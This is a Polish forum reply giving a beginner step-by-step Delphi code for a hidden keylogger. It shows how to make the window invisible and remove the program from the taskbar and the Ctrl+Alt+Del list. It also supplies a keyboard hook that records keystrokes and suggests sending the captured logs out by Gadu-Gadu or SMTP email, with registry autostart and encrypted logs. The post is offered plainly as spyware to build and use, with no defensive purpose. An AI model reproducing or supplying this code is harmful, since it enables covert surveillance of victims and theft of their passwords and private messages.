witam, służę pomocą w miarę możliwości
1. Musisz zastanowić się nad całkowitym ukryciem programu w systemie. Wypadałoby wyłączyć formę, usunąć program z paska zadań, wyłączyć aplikację z listy Ctrl+Alt+Del:
a) formę można zrobić niewidoczną, najlepiej BorderStyle=bsNone, width=1, height=1 (nie ustawisz tego w objektorze, więc najlepiej ustaw w kodzie na OnCreate formy), a do tego ustaw left i top na 0 - wtedy forma będzie widoczna ale bardzo mała i ciężka do znalezienia... potem może pobawić się w ukrywanie i tak dalej (wiem że to lamerski sposób :P) Potem opiszę jak to zrobić trochę lepiej, tymczasowo nie mam swoich źródeł...
b) Usunąć program z paska zadań musisz, zanim zostaną wyświetlony formy, więc dajesz w źródle (Project/View source):
Kod:
var
Ex : Integer;
begin
Application.Initialize;
Ex:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
Ex or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
c) wyłączanie aplikacji z listy Ctrl=Alt+Del. W sekcji Interface programu dodaj linię
Kod:
function RegisterServiceProcess(dwProcessId,dwType:dword):
Integer;stdcall;external 'kernel32.dll';
, potem w kodzie na OnCreate wpisz
Kod:
RegisterServiceProcess(GetCurrentProcessID, 1);
<- p.s. nie zadziała to w Windowsie 2000 i XP, więc z tym będzie trzeba jakoś pokombinować :P
2) Monitorowanie wciśniętych klawiszy, czyli cały "silnik" keyloggera. Tutaj możesz pójść na łatwiznę używając gotowego komponentu (np. KeySpyXP), albo napisać samemu unit do zakładaniu hooka i przechwytywaniu klawiszy:
Poczytaj tutaj o zakładaniu hooka oraz obsłudze komunikatów: >> http://4programmers.net/Delphi/Kompe...ozdzia%C5%82_5
albo na skóty - użyj tego
Kod:
var
Hook:Integer;
MessageBuffer:TEventMsg;
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Memo1.Text := Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
3) Do wysłania danych przez GG musisz poczytać trochę o protokołach GG, albo pójść na łatwiznę i użyć gotowego komponentu: trochę tego jest w necie więc życzę powodzenia. Do wysłania via e-mail polecam pakiet INDY: >> http://4programmers.net/Delphi/Indy#id-SMTP
4) Do KeySpy'a poleciłbym ASM'a (chociaż trudny) a widzę że kolego to raczej początkujący w Delphi... Miłej zabawy. Pozdrawiam
P.S. Warto by pomyśleć o dodawaniu programu do rejestru (autostart), szyfrowaniu logów i zapisywaniu ich datami Na początek powinno wystarczyć.